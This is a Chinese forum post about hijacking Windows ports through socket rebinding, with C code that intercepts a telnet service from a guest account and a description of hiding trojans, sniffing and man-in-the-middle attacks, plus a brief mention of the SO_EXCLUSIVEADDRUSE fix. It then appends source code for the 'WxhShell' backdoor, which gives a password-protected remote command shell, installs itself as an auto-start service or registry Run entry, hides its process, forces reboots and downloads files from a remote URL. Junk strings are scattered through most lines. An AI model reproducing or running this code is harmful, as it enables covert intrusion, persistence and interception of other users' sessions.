社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11452阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: US&B!Q:v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6)RbPPeE  
&M&{yc*%  
  saddr.sin_family = AF_INET; A]`:VC=IU  
i\}:hU-U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iAO5"(>}?  
`|e!Kq?#Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IfdI|ya  
H. ,;-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h=VqxGC&  
dXvt6kF  
  这意味着什么?意味着可以进行如下的攻击: ?^!,vh  
yOXO)u1n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y Z}cB  
K\! #4>yd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C*Vd-U  
[2Mbk~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $ACx*e%  
[W,|kDK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GUp;AoQ  
H -t|i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (yrh=6=z  
hXL|22>w<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U5ZX78>a  
g$37;d3Tx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GY!C|7kN  
h^|5|l  
  #include Wsz0yHD[`  
  #include  .jg0a  
  #include t=wXTK5"  
  #include    D> ef  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OYwGz  
  int main() /="HqBI#i  
  { (RL>Hn;.  
  WORD wVersionRequested; W.}].7}h  
  DWORD ret; 9 t:]  
  WSADATA wsaData; y2Bh?>pg  
  BOOL val; :KE/!]z  
  SOCKADDR_IN saddr; Pi6C/$ K  
  SOCKADDR_IN scaddr; 5>0.NiXGf'  
  int err; _kraMQ>  
  SOCKET s; )najO *n  
  SOCKET sc; w<wV]F*  
  int caddsize; `^F: -  
  HANDLE mt; J\co1kO9/  
  DWORD tid;   >>'C :7+Y  
  wVersionRequested = MAKEWORD( 2, 2 ); }6m?d!m  
  err = WSAStartup( wVersionRequested, &wsaData ); m\0cE1fir  
  if ( err != 0 ) {  mw$Y  
  printf("error!WSAStartup failed!\n"); .J.vC1 4gi  
  return -1; b[^{)$(  
  } x"B' zP  
  saddr.sin_family = AF_INET; Utl t<  
   loOOmHhJ&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P_4DGW  
L ubrn"128  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oVO.@M#  
  saddr.sin_port = htons(23); D,;\F,p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Iin#Wd-/  
  { b{[*N  
  printf("error!socket failed!\n"); U@lV  
  return -1; yyl#{Nl@t  
  } W Ox_y,  
  val = TRUE;  @|A|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tai Vk4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2: ^njqX  
  { JSVeU54T^<  
  printf("error!setsockopt failed!\n"); ^$?qT60%d|  
  return -1; vs9?+3  
  } Lk, +Tfk"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MgJ5B(c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r|Zi3+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7Ua7A  
Zr/r2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gQVBA %  
  { yY=<'{!  
  ret=GetLastError(); c[(Pg%  
  printf("error!bind failed!\n"); n~r 9!m$<  
  return -1; RI.2F*|  
  } bH9Le  
  listen(s,2); D'i6",Z>  
  while(1) !$xu(D.  
  { [?KIN_e#  
  caddsize = sizeof(scaddr); 'CV^M(o'9  
  //接受连接请求 @z,*K_AKr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KFhG(   
  if(sc!=INVALID_SOCKET) D(X qyN-P  
  { 4('JwZw\!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k=n "+  
  if(mt==NULL) d]B= *7]  
  { {U @3yB  
  printf("Thread Creat Failed!\n"); 8I#D`yVKc  
  break; +<(a}6dt  
  } &^QPkX@p  
  } ^X? D#\  
  CloseHandle(mt); Ie_I7YJ  
  } 3:`XG2'  
  closesocket(s); *8A6Q9YT  
  WSACleanup(); X>,A  
  return 0; #BJ\{"b_}z  
  }   sBW3{uK  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;;#nV$  
  { y:so L:(F  
  SOCKET ss = (SOCKET)lpParam; ;sQbn|=e"  
  SOCKET sc; @EZ>f5IO+  
  unsigned char buf[4096]; d<T%`:s<  
  SOCKADDR_IN saddr; B@cz ?%]  
  long num; 2i:zz? 'p`  
  DWORD val; h7W}OF_=y  
  DWORD ret; 3E|;r _; 8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A~71i&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZgYZwc&-  
  saddr.sin_family = AF_INET; 'D6 bmz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &?<AwtNN  
  saddr.sin_port = htons(23); _Z#eS/,O@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8&(-8  
  { fPQ|e"?  
  printf("error!socket failed!\n"); F=Y S^  
  return -1; $Z6D:"K  
  } f%Ke8'&  
  val = 100; \qq-smcM-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z,Xk\@  
  { 5 si}i'in  
  ret = GetLastError(); ?!S GiARW?  
  return -1; Yn<)k_kp  
  } [ b1hC ~I;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [thboP.?  
  { uWc:jP  
  ret = GetLastError(); Uf2:gLrF  
  return -1; c E76L%O  
  } kK?zVH-!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H@W0gK(cS;  
  { rO^xz7K^  
  printf("error!socket connect failed!\n"); U$J5r+>  
  closesocket(sc); I'A:J  
  closesocket(ss); eP|)SU  
  return -1; ,)$Wm-  
  } >d%VDjk .  
  while(1) Gpu_=9vzv  
  { l%PnB )F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %$9:e J?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wZ>Y<0,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =J3`@9;  
  num = recv(ss,buf,4096,0); chLeq  
  if(num>0) w%u5<  
  send(sc,buf,num,0); Bz:0L1@,4a  
  else if(num==0) K%2I  
  break; NsmVddj  
  num = recv(sc,buf,4096,0); 3+ asP&n  
  if(num>0) {3 o% d:  
  send(ss,buf,num,0); /0\QL+^!  
  else if(num==0) HD00J]y_   
  break; _LLshV3  
  } 4x]NUt  
  closesocket(ss); Czh8zB+r  
  closesocket(sc); Mjw[:70  
  return 0 ; ~d+O/:=K_  
  } @_O3&ZK  
..$>7y}  
a7 )@BzF#  
========================================================== LDX y}hm)  
cG(0q[  
下边附上一个代码,,WXhSHELL |_I[1%&`N  
<G9<"{  
========================================================== pn*d[M|k  
dqz1xQ1  
#include "stdafx.h" Sj1r s#@1  
swt\Ru6,  
#include <stdio.h> 4k*qVOBa6R  
#include <string.h> k+txb?  
#include <windows.h> *-7fa0<  
#include <winsock2.h> i-"<[*ePd  
#include <winsvc.h> hg&u0AQ2  
#include <urlmon.h> hXnw..0"  
@>Ek'~m  
#pragma comment (lib, "Ws2_32.lib") p XNtN5@FQ  
#pragma comment (lib, "urlmon.lib") Cz[5Ug'V  
~Jxlj(" 0(  
#define MAX_USER   100 // 最大客户端连接数 d~/xGB`<  
#define BUF_SOCK   200 // sock buffer o@',YF>OQ  
#define KEY_BUFF   255 // 输入 buffer s kY0\V  
Xv&%2-V;  
#define REBOOT     0   // 重启 w3d\0ub  
#define SHUTDOWN   1   // 关机 2<m Q,,j  
' tSnH&c  
#define DEF_PORT   5000 // 监听端口 cf&C|U  
<G}m#  
#define REG_LEN     16   // 注册表键长度 7YD\ !2b  
#define SVC_LEN     80   // NT服务名长度 _KxX&THaj  
i8eA_Q  
// 从dll定义API {[lx!QF 8&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V^WQ6G1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  %|bN@@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7_7xL(F/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vcV!K^M-  
*NF&Y  
// wxhshell配置信息 <L%HG  
struct WSCFG { lXw;|dGF  
  int ws_port;         // 监听端口 vhX-Qkt}  
  char ws_passstr[REG_LEN]; // 口令 /O_0=MLp  
  int ws_autoins;       // 安装标记, 1=yes 0=no +>^[W~[2  
  char ws_regname[REG_LEN]; // 注册表键名 w4aiI2KFq  
  char ws_svcname[REG_LEN]; // 服务名 Uv'uqt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9QZ}Hn`p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rr>IKyI'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nDF&EE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 63SVIc~wT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b sMC#xT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sI4QI\*4  
pBvo M={2!  
}; W*3o|x   
Ipg\9*c`  
// default Wxhshell configuration '%:5axg?]  
struct WSCFG wscfg={DEF_PORT, z(jU|va{_1  
    "xuhuanlingzhe", 9M;I$_U`vj  
    1, zQ=aey%  
    "Wxhshell", X CV0.u |  
    "Wxhshell", Lq%[A*`^  
            "WxhShell Service", Vj29L?3  
    "Wrsky Windows CmdShell Service", [KD}U-(Wg  
    "Please Input Your Password: ", M Ey1~h/  
  1, A?\h|u<  
  "http://www.wrsky.com/wxhshell.exe", D`8E-Bq  
  "Wxhshell.exe" ;g6 nHek  
    }; }@3$)L%n_u  
:^K~t!@  
// 消息定义模块 %odw+PhO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xL|?(pQ/BK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z=u~]:.1O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^NcTWbs-T  
char *msg_ws_ext="\n\rExit."; $`ON!,oa  
char *msg_ws_end="\n\rQuit."; FU^Y{sbDg  
char *msg_ws_boot="\n\rReboot..."; /Ql6]8.P  
char *msg_ws_poff="\n\rShutdown..."; oUCS |  
char *msg_ws_down="\n\rSave to "; sek6+#|=  
h!ZZ2[  
char *msg_ws_err="\n\rErr!"; Qb@BV&^y&  
char *msg_ws_ok="\n\rOK!"; d"z *Nb  
B6-AIPb  
char ExeFile[MAX_PATH]; gq=0L:  
int nUser = 0; Ni&,g  
HANDLE handles[MAX_USER]; So0`c,D  
int OsIsNt; \]Kq(k[p  
}'%$7vL`Ft  
SERVICE_STATUS       serviceStatus; UnJi& ~O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ua}g  
K@I+]5E%?  
// 函数声明 #@IQlqJfY7  
int Install(void); n (9F:N  
int Uninstall(void); _P>1`IR  
int DownloadFile(char *sURL, SOCKET wsh); o@Dk%LxP  
int Boot(int flag); wHq('+{=&  
void HideProc(void); r#ks>s  
int GetOsVer(void); ;<86P3S  
int Wxhshell(SOCKET wsl); y>?k<)nA{  
void TalkWithClient(void *cs); \XZU'JIO  
int CmdShell(SOCKET sock); _.u~)Q`6  
int StartFromService(void); \?aOExG I  
int StartWxhshell(LPSTR lpCmdLine); % E<FB;h  
3L%Y"4(mm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w;@`Yi.WQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); goG] WGVr  
^XtHF|%0T  
// 数据结构和表定义 ^!N;F"  
SERVICE_TABLE_ENTRY DispatchTable[] = \xy:6gd:  
{ :k Rv  
{wscfg.ws_svcname, NTServiceMain}, pIk4V/ fy  
{NULL, NULL} ,q{lYX83S  
}; f:)]FHPB1  
h;&&@5@lM  
// 自我安装 0;. e#(`-  
int Install(void) 1t!&xvhG  
{ |j\eBCnH3  
  char svExeFile[MAX_PATH]; h}Fu"zK  
  HKEY key; Yk(NZ3O  
  strcpy(svExeFile,ExeFile); wI|bBfd(  
jJiCF,m  
// 如果是win9x系统,修改注册表设为自启动 g`y/ _  
if(!OsIsNt) { +:j4G^V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fo/(()  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \z(>h&  
  RegCloseKey(key); ={e#lC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !&W"f#_Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yqq$kln  
  RegCloseKey(key); QSlf=VK*y  
  return 0; K*hf(w9="%  
    } pP=_@ 3 D  
  } M)bC%(xJ  
} Zb5T90s%  
else { p]atH<^;K  
(cbB %  
// 如果是NT以上系统,安装为系统服务 X7(rg W8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  M}_M_  
if (schSCManager!=0) i[V,IP +  
{ BbXmT"@  
  SC_HANDLE schService = CreateService Ip1QVND  
  ( \J#I}-a&j  
  schSCManager, ^/4 {\3  
  wscfg.ws_svcname, dA3`b*nC  
  wscfg.ws_svcdisp, /jn:e"0~  
  SERVICE_ALL_ACCESS, r-Xjy*T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R$~JhcX*l'  
  SERVICE_AUTO_START, y0W`E/1t  
  SERVICE_ERROR_NORMAL, ?Vb=4B{~  
  svExeFile, SV$ASs  
  NULL, < :S?t2C  
  NULL, r)*_,Fo|  
  NULL, 3@#,i<ge:  
  NULL, -0[>}!l=G  
  NULL n~L'icD[  
  ); [xH2n\7  
  if (schService!=0) IWSEssP  
  { m"k i*9]  
  CloseServiceHandle(schService); 2g`uC}  
  CloseServiceHandle(schSCManager);  @=^jpSnZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vCrWA-q#  
  strcat(svExeFile,wscfg.ws_svcname); vM$#m1L?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xqq?S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2n\i0?RD  
  RegCloseKey(key); J@&$U7t  
  return 0; W"DxIy  
    } JN9HT0  
  } w^vK7Z 1$  
  CloseServiceHandle(schSCManager); 0o\=0bH&s  
} *8(t y%5F0  
} a-o hS=W  
2gNBPd)I  
return 1; iz$v8;w  
} ~=aI2(b  
6 I>xd  
// 自我卸载 G=0}IPfp  
int Uninstall(void) n Y.Umj  
{ bC>yIjCTn  
  HKEY key; ~S~x@&yR  
mSqk[ Ig\  
if(!OsIsNt) { TbSt {TX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <CdG[Ih  
  RegDeleteValue(key,wscfg.ws_regname); RaJ }>e  
  RegCloseKey(key); L>K39z~,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n$Oky-P"  
  RegDeleteValue(key,wscfg.ws_regname); ^~hhdwu3a  
  RegCloseKey(key); 4 Q>jP3  
  return 0; _<&K]e@dp  
  } 7xa@wa?!L  
} >H]|A<9u(  
} jTxChR  
else { 2+hfbFu,1  
J0Rz.=Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ;#Bh_f  
if (schSCManager!=0) 4 w/t$lR  
{ AF{7<v>/P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DdA}A>47  
  if (schService!=0) q=L* 99S  
  { \q)1 TTnHS  
  if(DeleteService(schService)!=0) { znDtM1sLeV  
  CloseServiceHandle(schService); `qy6 qKl N  
  CloseServiceHandle(schSCManager); ~dX@5+Gd  
  return 0; 5d>YE  
  } 3C5D~9v  
  CloseServiceHandle(schService); EIl$"^-  
  } t.i9!'Y ]  
  CloseServiceHandle(schSCManager); [n@!=T  
} =<27qj  
} RHA>fXp  
\/e*quxx  
return 1; I@3c QxI  
} mk3e^,[A  
J7aK3 he  
// 从指定url下载文件 ^_"q`71Dk  
int DownloadFile(char *sURL, SOCKET wsh) K^1O =1gY  
{ cbHn\m)J,  
  HRESULT hr; B7QtB3bn  
char seps[]= "/"; lr= !:D=K  
char *token; OrqJo!FEg{  
char *file; 2$/gg"g+  
char myURL[MAX_PATH]; =xQfgj  
char myFILE[MAX_PATH]; "/]tFY%Y  
QR-R5XNT[  
strcpy(myURL,sURL); s%?p%2&RA  
  token=strtok(myURL,seps); jnLo[Cf,H8  
  while(token!=NULL) Bjrv;)XH  
  { lPSDY&`P  
    file=token; i(qYyO'  
  token=strtok(NULL,seps); C%7,#}[U/  
  } 9/qS*Zdh)  
as47eZ0\  
GetCurrentDirectory(MAX_PATH,myFILE); #K~j9DuR  
strcat(myFILE, "\\"); XQoT},C  
strcat(myFILE, file); ?9ho|  
  send(wsh,myFILE,strlen(myFILE),0); ^T J   
send(wsh,"...",3,0); XIW: Nk!S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eX),B  
  if(hr==S_OK) b.u8w2(  
return 0; .Yv.-A=ZIg  
else {~{s=c0  
return 1; f0'Wq^^  
/xbF1@XtL  
} jQBdS. }'v  
%'g-%2C?  
// 系统电源模块 |~vQ0D  
int Boot(int flag) GZ>% &^E  
{ ~m=%a  
  HANDLE hToken; }u*@b10   
  TOKEN_PRIVILEGES tkp; YD>>YaH_3@  
zbKW.u]v  
  if(OsIsNt) { w*R-E4S?2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y8xnvK*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r{3 `zqo  
    tkp.PrivilegeCount = 1; Xv(9 Yh S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X!+ a;wr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,$(v#Tz  
if(flag==REBOOT) { v/6,eIz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CoN/L`.SN  
  return 0; z7}zf@Y-qv  
} >Ezwl5b  
else { Xr6 !b:UX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >u[1v  
  return 0; $%"}N_M  
} N5_.m(:  
  } Tsp-]-)  
  else { }EG(!)u  
if(flag==REBOOT) { p%y\`Nlgdx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]|BSX-V.%i  
  return 0; MOeLphY  
} hd BC ^n  
else { A0k>Nb\c3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g>-[-z$E3  
  return 0; E"yf!*  
} r/<JY5  
} "4AQpD  
^<Tp-,J$EN  
return 1; G&H"8REm  
} QYb?;Z  
e%Xf*64  
// win9x进程隐藏模块 T1di$8  
void HideProc(void) |6Z M xY  
{ ? UDvFQ&  
>RnMzH/9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R51!j>[fqM  
  if ( hKernel != NULL ) TRok4uc  
  { ABDUp:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %$KO]   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0>MI*fnY"  
    FreeLibrary(hKernel); zQ+t@;g1  
  } cY]Y8T)  
<~*Ol+/  
return; j7+t@DqQ  
} vp9<.*h  
_ 7.y4zQJ  
// 获取操作系统版本 5hK\YTU  
int GetOsVer(void) LkB!:+v |B  
{ GK%ovK  
  OSVERSIONINFO winfo; sZDJ+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .u?$h0u5  
  GetVersionEx(&winfo); Y/(-mcR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e;[8 GE.   
  return 1; ,LO-!\L  
  else B9-[wg#0G  
  return 0; ][1u:V/ U  
} I,3!uogn  
@&B!P3{f  
// 客户端句柄模块 ~l6Y<-!  
int Wxhshell(SOCKET wsl) X5<.%@Z  
{ 93DBZqN  
  SOCKET wsh; ,RO(k4  
  struct sockaddr_in client; .p}Kl$K]  
  DWORD myID; /CE d 14.  
T+D]bfjr&&  
  while(nUser<MAX_USER) <~+  
{ N+75wtLy&  
  int nSize=sizeof(client); &/?jMyD@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !l^AKn|  
  if(wsh==INVALID_SOCKET) return 1; <J`xCm K  
gXJ^o;R>M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *b_54X%3  
if(handles[nUser]==0) jsQ$.)nO  
  closesocket(wsh); 1iDo$]TEK  
else Af<>O$$6  
  nUser++; W10fjMC}^  
  } @NE#P&f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )c !S@Hs  
GA}^Rh`T-  
  return 0; Uroj%xN  
} aB'@8[]z  
(=/;rJ`q  
// 关闭 socket MT0{hsuK9  
void CloseIt(SOCKET wsh) 2GzpWV(  
{ AMz=HN  
closesocket(wsh); W9'jzP  
nUser--; uJ[Vv4N%9  
ExitThread(0); xrnH= >.;m  
} Y1\vt+`O  
0&@ pX~h:  
// 客户端请求句柄 c<e\JJY5?  
void TalkWithClient(void *cs) $twF93u$  
{ I!D*(>  
v{ Ve sf  
  SOCKET wsh=(SOCKET)cs; ,ua1xsZl&  
  char pwd[SVC_LEN]; 7`!( 8  
  char cmd[KEY_BUFF]; qKC*j DW  
char chr[1]; NkI:  
int i,j; $:wM'&M  
![^h<Om  
  while (nUser < MAX_USER) { Jo<6M'  
!g"9P7p  
if(wscfg.ws_passstr) { c"1d#8J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p\ S3A(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K6 7? d  
  //ZeroMemory(pwd,KEY_BUFF); ;i>E @  
      i=0; |lV9?#!  
  while(i<SVC_LEN) { W|U1AXU7/  
edx'p`%d5  
  // 设置超时 n`xh/vGm#  
  fd_set FdRead; E2D8s=r  
  struct timeval TimeOut; yw!`1#3.  
  FD_ZERO(&FdRead); qV,j)b3M  
  FD_SET(wsh,&FdRead); fM.|#eLi  
  TimeOut.tv_sec=8; A!yLwkc:5  
  TimeOut.tv_usec=0; ze)K-6SKH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {fD#=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Al}PJz\  
,O$C9pH9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wgrO W]e  
  pwd=chr[0]; ArK9E!`^  
  if(chr[0]==0xd || chr[0]==0xa) { J7o?h9  
  pwd=0; Xs@ ^D,  
  break; 5V!XD9P'  
  } 12dW:#[  
  i++; |"v{RC0  
    } :`1g{8.+  
eCD,[At/  
  // 如果是非法用户,关闭 socket HC,@tfS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f@L{*Upj+  
} b%j:-^0V  
BwD1}1jp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^/vWK\-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sb.SpF>   
|>GIPfVT  
while(1) { 5AU3s  
bz]O(`  
  ZeroMemory(cmd,KEY_BUFF); oW6<7>1M7  
!H\GHA'DO]  
      // 自动支持客户端 telnet标准   .+h pxZ  
  j=0; Qpf]3  
  while(j<KEY_BUFF) { kH -b!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0u2uYiE-l  
  cmd[j]=chr[0]; yVzg<%CR^  
  if(chr[0]==0xa || chr[0]==0xd) { :G/]rDtd  
  cmd[j]=0; 7g+]  
  break; T]-~?;Jh8  
  } [)vwg`]   
  j++; Cq;d2u0)o$  
    } J?fh3RW9  
l}c2l'  
  // 下载文件 mXj Ljgc}  
  if(strstr(cmd,"http://")) { 5N<v'6&=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U-<"i6mg ?  
  if(DownloadFile(cmd,wsh)) \w[%n0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |/s2AzDD  
  else { ][7Np!y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -$ z"74  
  } 'PYqp&gJ  
  else { w8I&:"^7<  
^VPl>jTg  
    switch(cmd[0]) { "e<. n  
  h xJgxM  
  // 帮助 o;_bs~}y  
  case '?': { N~_jiVD>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cbs4`D,  
    break; ?^4sE-C6  
  } IkNt! 2s_  
  // 安装 uA`PZ|  
  case 'i': { ER1mA:8>E  
    if(Install()) Q.dy $`\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N==_'`O1Q0  
    else vaJXX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h ]$?~YE  
    break; kA=~ 8N  
    } IF}c*uGj}  
  // 卸载 l0xFt ~l  
  case 'r': { LlY*r+Cgl1  
    if(Uninstall()) }(EOQ2TI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z}2e;d 7  
    else m@yVG|eP#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _k.bGYldk  
    break; <>Ddxmw  
    } `h5eej&s(  
  // 显示 wxhshell 所在路径 L#q9_-(#  
  case 'p': { x`vs-Y:P  
    char svExeFile[MAX_PATH]; : ";D.{||  
    strcpy(svExeFile,"\n\r"); ! H=k7s  
      strcat(svExeFile,ExeFile); .|`=mx  
        send(wsh,svExeFile,strlen(svExeFile),0); >=:T ZU  
    break; QF/u^|f  
    } f,inQ2f}d  
  // 重启 'oQP:*Btl3  
  case 'b': { s Xk?.A_D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )pn7DIXG  
    if(Boot(REBOOT)) ai  _fN  
